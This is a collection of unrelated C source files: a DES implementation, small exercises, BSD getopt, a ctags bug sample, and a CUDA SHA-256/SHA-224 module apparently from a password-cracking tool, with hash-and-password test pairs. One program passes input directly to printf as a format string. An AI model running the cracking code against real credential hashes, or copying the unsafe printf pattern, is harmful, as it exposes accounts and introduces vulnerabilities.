1, 7, 23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10, 3, 24
};
// Converts from full 64-bit key to two key halves: left and right. Only 48
// bits from the original key are used.
static const unsigned char permuted_choice_1[56] = {
// Left Half
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
// Right Half
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
};
// Converts the shifted right and left key halves (concatenated together) into
// the subkey for the round (input into Feistel function).
static const unsigned char permuted_choice_2[48] = {
13, 16, 10, 23, 0, 4, 2, 27,
14, 5, 20, 9, 22, 18, 11, 3,
25, 7, 15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54, 29, 39,
50, 44, 32, 47, 43, 48, 38, 55,
33, 52, 45, 41, 49, 35, 28, 31
};
// S-Boxes
// Each value represents 4 bits that the 6-bit input is mapped to.
//
// This is in a different order than you would normally find it in an DES
// reference, so that the sbox lookup is reduced to a single lookup on the
// input byte.
static const unsigned char sbox_0[64] = {
14, 0, 4, 15, 13, 7, 1, 4,
2, 14, 15, 2, 11, 13, 8, 1,
3, 10, 10, 6, 6, 12, 12, 11,
5, 9, 9, 5, 0, 3, 7, 8,
4, 15, 1, 12, 14, 8, 8, 2,
13, 4, 6, 9, 2, 1, 11, 7,
15, 5, 12, 11, 9, 3, 7, 14,
3, 10, 10, 0, 5, 6, 0, 13
};
static const unsigned char sbox_1[64] = {
15, 3, 1, 13, 8, 4, 14, 7,
6, 15, 11, 2, 3, 8, 4, 14,
9, 12, 7, 0, 2, 1, 13, 10,
12, 6, 0, 9, 5, 11, 10, 5,
0, 13, 14, 8, 7, 10, 11, 1,
10, 3, 4, 15, 13, 4, 1, 2,
5, 11, 8, 6, 12, 7, 6, 12,
9, 0, 3, 5, 2, 14, 15, 9
};
static const unsigned char sbox_2[64] = {
10, 13, 0, 7, 9, 0, 14, 9,
6, 3, 3, 4, 15, 6, 5, 10,
1, 2, 13, 8, 12, 5, 7, 14,
11, 12, 4, 11, 2, 15, 8, 1,
13, 1, 6, 10, 4, 13, 9, 0,
8, 6, 15, 9, 3, 8, 0, 7,
11, 4, 1, 15, 2, 14, 12, 3,
5, 11, 10, 5, 14, 2, 7, 12
};
static const unsigned char sbox_3[64] = {
7, 13, 13, 8, 14, 11, 3, 5,
0, 6, 6, 15, 9, 0, 10, 3,
1, 4, 2, 7, 8, 2, 5, 12,
11, 1, 12, 10, 4, 14, 15, 9,
10, 3, 6, 15, 9, 0, 0, 6,
12, 10, 11, 1, 7, 13, 13, 8,
15, 9, 1, 4, 3, 5, 14, 11,
5, 12, 2, 7, 8, 2, 4, 14
};
static const unsigned char sbox_4[64] = {
2, 14, 12, 11, 4, 2, 1, 12,
7, 4, 10, 7, 11, 13, 6, 1,
8, 5, 5, 0, 3, 15, 15, 10,
13, 3, 0, 9, 14, 8, 9, 6,
4, 11, 2, 8, 1, 12, 11, 7,
10, 1, 13, 14, 7, 2, 8, 13,
15, 6, 9, 15, 12, 0, 5, 9,
6, 10, 3, 4, 0, 5, 14, 3
};
static const unsigned char sbox_5[64] = {
12, 10, 1, 15, 10, 4, 15, 2,
9, 7, 2, 12, 6, 9, 8, 5,
0, 6, 13, 1, 3, 13, 4, 14,
14, 0, 7, 11, 5, 3, 11, 8,
9, 4, 14, 3, 15, 2, 5, 12,
2, 9, 8, 5, 12, 15, 3, 10,
7, 11, 0, 14, 4, 1, 10, 7,
1, 6, 13, 0, 11, 8, 6, 13
};
static const unsigned char sbox_6[64] = {
4, 13, 11, 0, 2, 11, 14, 7,
15, 4, 0, 9, 8, 1, 13, 10,
3, 14, 12, 3, 9, 5, 7, 12,
5, 2, 10, 15, 6, 8, 1, 6,
1, 6, 4, 11, 11, 13, 13, 8,
12, 1, 3, 4, 7, 10, 14, 7,
10, 9, 15, 5, 6, 0, 8, 15,
0, 14, 5, 2, 9, 3, 2, 12
};
static const unsigned char sbox_7[64] = {
13, 1, 2, 15, 8, 13, 4, 8,
6, 10, 15, 3, 11, 7, 1, 4,
10, 12, 9, 5, 3, 6, 14, 11,
5, 0, 0, 14, 12, 9, 7, 2,
7, 2, 11, 1, 4, 14, 1, 7,
9, 4, 12, 10, 14, 8, 2, 13,
0, 15, 6, 12, 10, 9, 13, 0,
15, 3, 3, 5, 5, 6, 8, 11
};
// How much the left and right key halves are shifted every round.
static const unsigned char key_shift_amounts[16] = {1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1};
char* bin_to_string(const unsigned char input[], int nbytes) {
#define MAX_BYTES 64
static char output[MAX_BYTES*2 + 3];
char* output_ptr = output;
if (nbytes > MAX_BYTES) {
fprintf(stderr, "ERROR: bin_to_string supports up to %d bytes. %d bytes given.\n", MAX_BYTES, nbytes);
}
sprintf(output, "0x");
output_ptr += 2;
for (int i=0; i<nbytes; i++) {
sprintf(output_ptr, "%02x", input[i]);
output_ptr += 2;
}
return output;
#undef MAX_BYTES
}
void print_hex(unsigned char input[], unsigned char nbytes) {
printf("%s", bin_to_string(input, nbytes));
}
/*
unsigned char* hexstr_to_bin(unsigned char* input, unsigned char length) {
//TODO
}
*/
void xor(const unsigned char* block_a, const unsigned char* block_b, unsigned char* output, unsigned char nbytes) {
for (unsigned char i=0; i<nbytes; i++) {
output[i] = block_a[i] ^ block_b[i];
}
}
void permute(const unsigned char* input, const unsigned char* table,
unsigned char* output, unsigned char nbytes) {
const unsigned char* table_cell = table;
for (unsigned char i=0; i<nbytes; i++) {
unsigned char result_byte = 0x00;
for (unsigned char j=0; j<8; j++) {
// Retrieve result_bit from lookup and store in result_byte
unsigned char bit_pos = *table_cell % 8;
unsigned char mask = 0x80 >> bit_pos;
unsigned char result_bit = (input[*table_cell/8] & mask) << bit_pos;
result_byte |= result_bit >> j;
table_cell++;
}
output[i] = result_byte;
}
}
/*
* The key given is both halves of the key. We shift each half of the key to
* the left separately.
*/
void des_key_shift(unsigned char key[7], unsigned char output[7], unsigned char amount) {
unsigned char mask;
// Shift bytes circularly.
// Last byte will be handled specially.
for (unsigned char i=0; i<7; i++) {
output[i] = (key[i] << amount) | (key[i+1] >> (8-amount));
}
// Middle byte straddles the two key halves. Set the right 1 or 2 bits of
// the left key.
if (amount == 1) {
mask = 0xEF;
} else {
mask = 0xCF;
}
output[3] &= mask; // Zero the bits out
output[3] |= (key[0] >> (4-amount)) & ~mask; // Add left 1 or 2 bits
// Last bit must borrow from left side of right key.
if (amount == 1) {
mask = 0x01;
} else {
mask = 0x03;
}
output[6] = (key[6] << amount) | ((key[3] >> (4-amount)) & mask);
}
void des_substitution_box(const unsigned char input[6], unsigned char output[4]) {
unsigned char input_byte;
// S-Box 0
input_byte = (input[0] & 0xFC)>>2;
output[0] = sbox_0[input_byte] << 4;
// S-Box 1
input_byte = ((input[0] & 0x03)<<4) + ((input[1] & 0xF0)>>4);
output[0] = output[0] | sbox_1[input_byte];
// S-Box 2
input_byte = ((input[1] & 0x0F)<<2) + ((input[2] & 0xC0)>>6);
output[1] = sbox_2[input_byte] << 4;
// S-Box 3
input_byte = (input[2] & 0x3F);
output[1] = output[1] | sbox_3[input_byte];
// S-Box 4
input_byte = (input[3] & 0xFC)>>2;
output[2] = sbox_4[input_byte] << 4;
// S-Box 5
input_byte = ((input[3] & 0x03)<<4) + ((input[4] & 0xF0)>>4);
output[2] = output[2] | sbox_5[input_byte];
// S-Box 6
input_byte = ((input[4] & 0x0F)<<2) + ((input[5] & 0xC0)>>6);
output[3] = sbox_6[input_byte] << 4;
// S-Box 7
input_byte = (input[5] & 0x3F);
output[3] = output[3] | sbox_7[input_byte];
}
void des_feistel(const unsigned char input[4], const unsigned char subkey[6], unsigned char output[4]) {
unsigned char expanded[6];
unsigned char sbox_output[4];
// TODO: Can expansion be done faster than a dumb permutation algorithm?
permute(input, expansion_permutation, expanded, 6);
// TODO: Can xor and sbox be combined?
xor(expanded, subkey, expanded, 6);
des_substitution_box(expanded, sbox_output);
permute(sbox_output, feistel_end_permutation, output, 4);
}
void des_encrypt(unsigned char block[8], unsigned char key[8], unsigned char output[8]) {
// TODO: This whole program could probably benifit from using larger
// datatypes that char.
unsigned char key_halves_a[7]; // left key + right key
unsigned char key_halves_b[7]; // Also left key + right key
unsigned char subkey[6];
unsigned char fiestel_output[4];
// left_block and right_block must be beside eachother in memory, so the
// memory is allocated in one chunk and the left and right block use 4
// bytes each.
unsigned char* left_block = malloc(8);
unsigned char* right_block = &left_block[4];
permute(block, initial_permutation_left, left_block, 4);
permute(block, initial_permutation_right, right_block, 4);
// TODO: Pre shift permuted_choice_1 to eliminate left shift to generate
// the first subkey. Or maybe even have a lookup table for each
// subkey.
permute(key, permuted_choice_1, key_halves_a, 7);
// Calculate 16 Rounds
// Each loop iteration calculates two rounds. This way there are no
// memcoppies at the end of each round to for example switch right_block
// and left_block.
for (unsigned char i=0; i<16; i+=2) {
// Generate key (even round)
des_key_shift(key_halves_a, key_halves_b, key_shift_amounts[i]);
permute(key_halves_b, permuted_choice_2, subkey, 6);
// Round calculation (even round)
des_feistel(right_block, subkey, fiestel_output);
xor(fiestel_output, left_block, left_block, 4);
// Generate key (odd round)
des_key_shift(key_halves_b, key_halves_a, key_shift_amounts[i+1]);
permute(key_halves_a, permuted_choice_2, subkey, 6);
// Round calculation (odd round)
des_feistel(left_block, subkey, fiestel_output);
xor(fiestel_output, right_block, right_block, 4);
}
// Switch back left and right block
// This step is skipped, since the final permutation has been modified to
// account for it.
permute(left_block, final_permutation, output, 8);
}
int main() {
//unsigned char plaintext[8] = {0x6d, 0x73, 0x62, 0x72, 0x6f, 0x77, 0x6e, 0x33};
unsigned char plaintext[8] = {0x02, 0x46, 0x8a, 0xce, 0xec, 0xa8, 0x64, 0x20};
unsigned char key[8] = {0x0f, 0x15, 0x71, 0xc9, 0x47, 0xd9, 0xe8, 0x59};
unsigned char ciphertext[8];
for (int i=0; i<1000000; i++) {
des_encrypt(plaintext, key, ciphertext);
}
printf("%s\n", bin_to_string(ciphertext, 8));
}
|
the_stack_data/215401.c | #include <ctype.h>
#include <stdbool.h>
#include <string.h>
void countAlpha(char *word, int *hash)
{
for (int i = 0; word[i]; ++i)
{
if (isalpha(word[i]))
++hash[tolower(word[i]) - 'a'];
}
}
bool contains(int *lhs, int *rhs) //rhs constain lhs
{
for (int i = 0; i < 26; ++i)
{
if (lhs[i] > rhs[i])
return false;
}
return true;
}
char *shortestCompletingWord(char *licensePlate, char **words, int wordsSize)
{
char *res = NULL;
int hash[26] = {0};
countAlpha(licensePlate, hash);
for (int i = 0; i < wordsSize; ++i)
{
int map[26] = {0};
countAlpha(words[i], map);
if (contains(hash, map) && (!res || strlen(res) > strlen(words[i])))
res = words[i];
}
return res;
}
|
the_stack_data/28498.c | #include <stdlib.h>
#include <stdio.h>
const char *g_str = "Hello";
void print(const char *str) {
printf(str);
}
int main(void) {
const char *a = g_str;
const char *b = " world!";
const char *c = a;
const char *d = c;
const char *e = b;
void (*do_pr)(const char *);
int i;
do_pr = print;
for (i = 0; i < 3; i++) {
if (i == 1) {
print("first: ");
d = a;
}
do_pr(d);
d = b;
do_pr(e);
e = a;
do_pr("\n");
do_pr(a);
do_pr(d);
do_pr("\n");
}
return EXIT_SUCCESS;
}
|
the_stack_data/95449121.c | /*
* This software is Copyright (c) 2011-2012 Lukas Odzioba <ukasz at openwall dot net>
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without modification, are permitted.
* This file is shared by raw-sha224-cuda and raw-sha256-cuda formats,
* SHA256 definition is used to distinguish between them.
*/
#ifdef HAVE_CUDA
#include <string.h>
#include "arch.h"
#include "formats.h"
#include "common.h"
#include "misc.h"
#include "cuda_common.h"
#include "cuda_rawsha256.h"
#include "memdbg.h"
#define BENCHMARK_COMMENT ""
#define BENCHMARK_LENGTH -1 /// Raw benchmark
#define PLAINTEXT_LENGTH 19
#define SALT_SIZE 0
#define MIN_KEYS_PER_CRYPT KEYS_PER_CRYPT
#define MAX_KEYS_PER_CRYPT KEYS_PER_CRYPT
#define FORMAT_NAME ""
#define TAG_LEN (sizeof(FORMAT_TAG) - 1)
#ifdef SHA256
#define FORMAT_LABEL "Raw-SHA256-cuda"
#define FORMAT_TAG "$SHA256$"
#define ALGORITHM_NAME "SHA256 CUDA (inefficient, development use mostly)"
#define CIPHERTEXT_LENGTH 64 ///256bit
#define BINARY_SIZE 32
#define BINARY_ALIGN MEM_ALIGN_WORD
#define SALT_ALIGN 1
#define SHA_HASH sha256_hash
#define TESTS sha256_tests
#define FMT_MAIN fmt_cuda_rawsha256
static struct fmt_tests sha256_tests[] = {
{"71c3f65d17745f05235570f1799d75e69795d469d9fcb83e326f82f1afa80dea", "epixoip"},
{FORMAT_TAG "71c3f65d17745f05235570f1799d75e69795d469d9fcb83e326f82f1afa80dea", "epixoip"},
{"25b64f637b373d33a8aa2b7579784e99a20e6b7dfea99a71af124394b8958f27", "doesthiswork"},
{"5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8", "password"},
{"27c6794c8aa2f70f5f6dc93d3bfb25ca6de9b0752c8318614cbd4ad203bea24c", "ALLCAPS"},
{"04cdd6c523673bf448efe055711a9b184817d7843b0a76c2046f5398b5854152", "TestTESTt3st"},
{FORMAT_TAG "ef797c8118f02dfb649607dd5d3f8c7623048c9c063d532cc95c5ed7a898a64f", "12345678"},
{FORMAT_TAG "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", ""},
{FORMAT_TAG "E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855", ""},
#if 0
{"LcV6aBcc/53FoCJjXQMd7rBUDEpeevrK8V5jQVoJEhU", "password"},
{"$cisco4$LcV6aBcc/53FoCJjXQMd7rBUDEpeevrK8V5jQVoJEhU", "password"},
#endif
{"a49c2c9d0c006c8cb55a9a7a38822b83e0cd442614cb416af952fa50156761dc", "openwall"},
{"9e7d3e56996c5a06a6a378567e62f5aa7138ebb0f55c0bdaf73666bf77f73380", "mot\xf6rhead"},
#ifdef DEBUG
{"c775e7b757ede630cd0aa1113bd102661ab38829ca52a6422ab782862f268646", "1234567890"},
#if 0
{"$cisco4$OsOmQzwozC4ROs/CzpczJoShdCeW9lp7k/tGrPS5Kog", "1"},
{"$cisco4$d7kgbEk.P6mpKdduC66fUy1BF0MImo3eyJ9uI/JbMRk", "openwall"},
{"$cisco4$p5BSCWNS3ivUDpZlWthR.k4Q/xWqlFyEqXdaPikHenI", "2"},
{"$cisco4$HwUf7ev9Fx84X2vvspULAeDbmwlg9jgm/Wk63kc3vfU", "11"},
{"$cisco4$bsPEUMVATKKO9yeUlJfE3OCzHlgf0s6goJpg3P1k0UU", "test"},
{"$cisco4$Xq81UiuCj7bz9B..EX2BZumsU/d8pF5gs2NlRMW6sTk", "applesucks"},
{"$cisco4$O/D/cn1nawcByQoJfBxrNnUx6jjfWV.FNFx5TzmzihU", "AppleSucks"},
#endif
#if PLAINTEXT_LENGTH >19
{"6ed645ef0e1abea1bf1e4e935ff04f9e18d39812387f63cda3415b46240f0405", "12345678901234567890"},
{"f54e5c8f810648e7638d25eb7ed6d24b7e5999d588e88826f2aa837d2ee52ecd", "123456789012345678901234567890"},
{"a4ebdd541454b84cc670c9f1f5508baf67ffd3fe59b883267808781f992a0b1d", "1234567890123456789012345678901234567890"},
{"f58fffba129aa67ec63bf12571a42977c0b785d3b2a93cc0538557c91da2115d", "12345678901234567890123456789012345678901234567890"},
{"3874d5c9cc5ab726e6bbebadee22c680ce530004d4f0bb32f765d42a0a6c6dc1", "123456789012345678901234567890123456789012345678901"},
{"03c3a70e99ed5eeccd80f73771fcf1ece643d939d9ecc76f25544b0233f708e9", "1234567890123456789012345678901234567890123456789012345"},
{"0f46e4b0802fee6fed599682a16287d0397699cfd742025482c086a70979e56a", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}, // 31
{"c62e4615bd39e222572f3a1bf7c2132ea1e65b17ec805047bd6b2842c593493f", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}, // 32
{"d5e285683cd4efc02d021a5c62014694958901005d6f71e89e0989fac77e4072", "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}, // 55
#if 0
{"$cisco4$hUsuWZSE8dZERUBYNwRK8Aa8VxEGIHsuZFUCjNj2.Ac", "verylongbutweakpassword"},
{"$cisco4$fLUL1VG98zYDf9Q.M40nZ5blVT3M6UBex74Blw.UDCc", "thismaximumpasswordlength"},
#endif
#endif
#endif
{NULL}
};
#endif
#ifdef SHA224
#define FORMAT_LABEL "Raw-SHA224-cuda"
#define FORMAT_TAG "$SHA224$"
#define ALGORITHM_NAME "SHA224 CUDA (inefficient, development use mostly)"
#define CIPHERTEXT_LENGTH 56 ///224bit
#define BINARY_SIZE 28
#define BINARY_ALIGN MEM_ALIGN_WORD
#define SALT_ALIGN 1
#define SHA_HASH sha224_hash
#define TESTS sha224_tests
#define FMT_MAIN fmt_cuda_rawsha224
static struct fmt_tests sha224_tests[] = {
{"d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01", "password"},
{FORMAT_TAG "7e6a4309ddf6e8866679f61ace4f621b0e3455ebac2e831a60f13cd1", "12345678"},
{FORMAT_TAG "d14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f", ""},
{"d6d8ff02342ea04cf65f8ab446b22c4064984c29fe86f858360d0319", "openwall"},
{FORMAT_TAG "d6d8ff02342ea04cf65f8ab446b22c4064984c29fe86f858360d0319", "openwall"},
{NULL}
};
#endif
extern void gpu_rawsha256(sha256_password *, SHA_HASH *, int);
extern void gpu_rawsha224(sha256_password *, SHA_HASH *, int);
extern void *cuda_pageLockedMalloc(void *, unsigned int);
extern void cuda_pageLockedFree(void *);
extern int cuda_getAsyncEngineCount();
static sha256_password *inbuffer; /** binary ciphertexts **/
static SHA_HASH *outbuffer; /** calculated hashes **/
static int overlap;
static void done(void)
{
if (overlap) {
cuda_pageLockedFree(inbuffer);
cuda_pageLockedFree(outbuffer);
} else {
MEM_FREE(inbuffer);
MEM_FREE(outbuffer);
}
}
static void init(struct fmt_main *self)
{
cuda_init();
if (cuda_getAsyncEngineCount() > 0) {
overlap = 1;
inbuffer =
cuda_pageLockedMalloc(inbuffer,
sizeof(sha256_password) * MAX_KEYS_PER_CRYPT);
outbuffer =
cuda_pageLockedMalloc(outbuffer,
sizeof(SHA_HASH) * MAX_KEYS_PER_CRYPT);
} else {
overlap = 0;
//device does not support overlapping memcpy and kernel execution
inbuffer =
(sha256_password *) mem_calloc(MAX_KEYS_PER_CRYPT,
sizeof(sha256_password));
outbuffer =
(SHA_HASH *) mem_alloc(MAX_KEYS_PER_CRYPT * sizeof(SHA_HASH));
}
check_mem_allocation(inbuffer, outbuffer);
}
static int valid(char *ciphertext, struct fmt_main *self)
{
int i;
if (!strncmp(ciphertext, FORMAT_TAG, TAG_LEN))
ciphertext += TAG_LEN;
if (strlen(ciphertext) != CIPHERTEXT_LENGTH)
return 0;
for (i = 0; i < CIPHERTEXT_LENGTH; i++) {
if (!((ciphertext[i] >= '0' && ciphertext[i] <= '9') ||
(ciphertext[i] >= 'a' && ciphertext[i] <= 'f') ||
(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z')))
return 0;
}
return 1;
}
static char *split(char *ciphertext, int index, struct fmt_main *self)
{
static char out[TAG_LEN + CIPHERTEXT_LENGTH + 1];
if (!strncmp(ciphertext, FORMAT_TAG, TAG_LEN))
ciphertext += TAG_LEN;
memcpy(out, FORMAT_TAG, TAG_LEN);
memcpy(out + TAG_LEN, ciphertext, CIPHERTEXT_LENGTH + 1);
strlwr(out + TAG_LEN);
return out;
}
static void *get_binary(char *ciphertext)
{
static char realcipher[BINARY_SIZE];
int i;
if (!strncmp(ciphertext, FORMAT_TAG, TAG_LEN))
ciphertext += TAG_LEN;
memset(realcipher, 0, BINARY_SIZE);
for (i = 0; i < BINARY_SIZE; i += 4) {
realcipher[i] =
atoi16[ARCH_INDEX(ciphertext[(i + 3) * 2])] * 16 +
atoi16[ARCH_INDEX(ciphertext[(i + 3) * 2 + 1])];
realcipher[i + 1] =
atoi16[ARCH_INDEX(ciphertext[(i + 2) * 2])] * 16 +
atoi16[ARCH_INDEX(ciphertext[(i + 2) * 2 + 1])];
realcipher[i + 2] =
atoi16[ARCH_INDEX(ciphertext[(i + 1) * 2])] * 16 +
atoi16[ARCH_INDEX(ciphertext[(i + 1) * 2 + 1])];
realcipher[i + 3] =
atoi16[ARCH_INDEX(ciphertext[(i) * 2])] * 16 +
atoi16[ARCH_INDEX(ciphertext[(i) * 2 + 1])];
}
return (void *) realcipher;
}
static void set_key(char *key, int index)
{
memset(inbuffer[index].v, 0, PLAINTEXT_LENGTH);
memcpy(inbuffer[index].v, key, PLAINTEXT_LENGTH);
inbuffer[index].length = strlen(key);
}
static char *get_key(int index)
{
static char ret[PLAINTEXT_LENGTH + 1];
memcpy(ret, inbuffer[index].v, inbuffer[index].length);
ret[inbuffer[index].length] = 0;
return ret;
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount;
#ifdef SHA256
gpu_rawsha256(inbuffer, outbuffer, overlap);
#else
gpu_rawsha224(inbuffer, outbuffer, overlap);
#endif
return count;
}
static int get_hash_0(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_0;
}
static int get_hash_1(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_1;
}
static int get_hash_2(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_2;
}
static int get_hash_3(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_3;
}
static int get_hash_4(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_4;
}
static int get_hash_5(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_5;
}
static int get_hash_6(int index)
{
return ((ARCH_WORD_32 *) outbuffer[index].v)[0] & PH_MASK_6;
}
static int cmp_all(void *binary, int count)
{
uint32_t i;
uint32_t b = ((uint32_t *) binary)[0];
for (i = 0; i < count; i++)
if (b == outbuffer[i].v[0])
return 1;
return 0;
}
static int cmp_one(void *binary, int index)
{
int i;
uint32_t *t = (uint32_t *) binary;
for (i = 0; i < CIPHERTEXT_LENGTH / 8; i++)
if (t[i] != outbuffer[index].v[i])
return 0;
return 1;
}
static int cmp_exact(char *source, int index)
{
return 1;
}
struct fmt_main FMT_MAIN = {
{
FORMAT_LABEL,
FORMAT_NAME,
ALGORITHM_NAME,
BENCHMARK_COMMENT,
BENCHMARK_LENGTH,
0,
PLAINTEXT_LENGTH,
BINARY_SIZE,
BINARY_ALIGN,
SALT_SIZE,
SALT_ALIGN,
MIN_KEYS_PER_CRYPT,
MAX_KEYS_PER_CRYPT,
FMT_CASE | FMT_8_BIT | FMT_SPLIT_UNIFIES_CASE,
{ NULL },
TESTS
}, {
init,
done,
fmt_default_reset,
fmt_default_prepare,
valid,
split,
get_binary,
fmt_default_salt,
{ NULL },
fmt_default_source,
{
fmt_default_binary_hash_0,
fmt_default_binary_hash_1,
fmt_default_binary_hash_2,
fmt_default_binary_hash_3,
fmt_default_binary_hash_4,
fmt_default_binary_hash_5,
fmt_default_binary_hash_6
},
fmt_default_salt_hash,
NULL,
fmt_default_set_salt,
set_key,
get_key,
fmt_default_clear_keys,
crypt_all,
{
get_hash_0,
get_hash_1,
get_hash_2,
get_hash_3,
get_hash_4,
get_hash_5,
get_hash_6
},
cmp_all,
cmp_one,
cmp_exact
}
};
#endif /* HAVE_CUDA */
|
the_stack_data/76699497.c | #include <stdio.h>
float compute(float num_1, float num_2);
int main(void)
{
float num_1;
float num_2;
printf("Enter two numbers: ");
while(scanf("%f %f",&num_1,&num_2)==2)
{
printf("%f\n", compute(num_1, num_2));
}
return 0;
}
float compute(float num_1, float num_2)
{
return (num_1-num_2)/num_1*num_2;
} |
the_stack_data/120129.c | /*
Bugs item #1086609, was opened at 2004-12-16 13:07
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting:
https://sourceforge.net/tracker/?func=detail&atid=106556&aid=1086609&group_id=6556
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Mikhail Kruk (meshko)
Assigned to: Nobody/Anonymous (nobody)
Summary: ctags getting confused by #if 0
Initial Comment:
Here is a sample C program which confuses ctags. I
think every line in it is significant. Dropping any of
the #ifdefs or the #define makes the problem go away:
*/
#if 0
#define __PROC__
int func1(
#if 0
#endif
)
{
}
#endif
int func2(int a)
{
}
/*
Somehow the opening brace from line 3 doesn't get
ignored and the closing brace does get ignored and
ctags drops out on "int func2(int a)" line with "failed
to find match for '(' at line 11" error.
Granted, having #if 0 in the middle of args list is
weird, but perfeclty legal.
*/
|
the_stack_data/184519515.c | #include <stdio.h>
int main()
{
long i = 1234567890123l;
printf("%ld\n", i);
return 0;
}
|
the_stack_data/25138402.c | #include <stdio.h>
#include <stdbool.h>
int countElements(int* arr, int arrSize) {
int count = 0;
for (int i = 0; i < arrSize; i++) {
for (int j = 0; j < arrSize; j++) {
if (arr[j] == arr[i] + 1) {
count++;
break;
}
}
}
return count;
}
int main() {
int arr1[3] = {1, 2, 3};
int res1 = countElements(arr1, 3);
printf(">>> res1 = %d\n", res1);
int arr2[8] = {1, 1, 3, 3, 5, 5, 7, 7};
int res2 = countElements(arr2, 8);
printf(">>> res2 = %d\n", res2);
int arr3[4] = {1, 1, 2, 2};
int res3 = countElements(arr3, 4);
printf(">>> res3 = %d\n", res3);
return 0;
}
|
the_stack_data/448336.c | /*
* Copyright (c) 1987, 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95";
#endif /* LIBC_SCCS and not lint */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int opterr = 1, /* if error message should be printed */
optind = 1, /* index into parent argv vector */
optopt, /* character checked for validity */
optreset; /* reset getopt */
char *optarg; /* argument associated with option */
#define BADCH (int)'?'
#define BADARG (int)':'
#define EMSG ""
/*
* getopt --
* Parse argc/argv argument vector.
*/
int
getopt(nargc, nargv, ostr)
int nargc;
char * const *nargv;
const char *ostr;
{
#ifdef WIN32
char *__progname="windump";
#else
extern char *__progname;
#endif
static char *place = EMSG; /* option letter processing */
char *oli; /* option letter list index */
if (optreset || !*place) { /* update scanning pointer */
optreset = 0;
if (optind >= nargc || *(place = nargv[optind]) != '-') {
place = EMSG;
return (-1);
}
if (place[1] && *++place == '-') { /* found "--" */
++optind;
place = EMSG;
return (-1);
}
} /* option letter okay? */
if ((optopt = (int)*place++) == (int)':' ||
!(oli = strchr(ostr, optopt))) {
/*
* if the user didn't specify '-' as an option,
* assume it means -1.
*/
if (optopt == (int)'-')
return (-1);
if (!*place)
++optind;
if (opterr && *ostr != ':')
(void)fprintf(stderr,
"%s: illegal option -- %c\n", __progname, optopt);
return (BADCH);
}
if (*++oli != ':') { /* don't need argument */
optarg = NULL;
if (!*place)
++optind;
}
else { /* need an argument */
if (*place) /* no white space */
optarg = place;
else if (nargc <= ++optind) { /* no arg */
place = EMSG;
if (*ostr == ':')
return (BADARG);
if (opterr)
(void)fprintf(stderr,
"%s: option requires an argument -- %c\n",
__progname, optopt);
return (BADCH);
}
else /* white space */
optarg = nargv[optind];
place = EMSG;
++optind;
}
return (optopt); /* dump back option letter */
}
|
the_stack_data/1230799.c | /* { dg-do compile { target { powerpc*-*-* && lp64 } } } */
/* { dg-skip-if "" { powerpc*-*-darwin* } { "*" } { "" } } */
/* { dg-require-effective-target powerpc_vsx_ok } */
/* { dg-skip-if "do not override -mcpu" { powerpc*-*-* } { "-mcpu=*" } { "-mcpu=power7" } } */
/* { dg-options "-mcpu=power7 -O2" } */
